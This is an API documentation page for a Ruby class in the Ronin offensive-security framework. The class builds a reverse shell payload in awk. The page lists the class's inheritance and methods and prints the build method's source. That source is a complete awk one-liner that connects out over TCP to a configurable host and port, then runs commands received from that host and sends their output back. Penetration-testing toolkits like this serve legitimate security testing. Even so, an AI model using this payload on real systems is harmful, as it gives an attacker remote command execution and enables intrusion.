Class: Ronin::Payloads::CMD::Awk::ReverseShell
- Inherits:
 - 
      Ronin::Payloads::CommandPayload
      
        
- Object
 - Payload
 - Ronin::Payloads::CommandPayload
 - Ronin::Payloads::CMD::Awk::ReverseShell
 
 
- Includes:
 - Mixins::ReverseShell
 
- Defined in:
 - lib/ronin/payloads/builtin/cmd/awk/reverse_shell.rb
 
Overview
A basic awk reverse shell command.
Instance Attribute Summary
Attributes included from Mixins::PostEx
Attributes inherited from Payload
Instance Method Summary collapse
- 
  
    
      #build  ⇒ Object 
    
    
  
  
  
  
  
  
  
  
  
    
Builds the
awkreverse shell command. 
Methods included from Mixins::ReverseShell
#host, included, #perform_cleanup, #perform_postlaunch, #perform_prelaunch, #port
Methods included from Mixins::PostEx
Methods inherited from Ronin::Payloads::CommandPayload
Methods inherited from Payload
#built?, #built_payload, #bytesize, #cleanup, #encode_payload, #encoded_payload, encoder_class, #initialize, #length, payload_type, #perform_build, #perform_cleanup, #perform_postlaunch, #perform_prelaunch, #perform_validate, #postlaunch, #prelaunch, #rebuild_payload, #reencode_payload, register, #to_s, #validate
Constructor Details
This class inherits a constructor from Ronin::Payloads::Payload
Instance Method Details
#build ⇒ Object
Builds the awk reverse shell command.
      44 45 46  | 
    
      # File 'lib/ronin/payloads/builtin/cmd/awk/reverse_shell.rb', line 44 def build @payload = %{awk 'BEGIN {s = "/inet/tcp/0/#{host}/#{port}"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null} end  |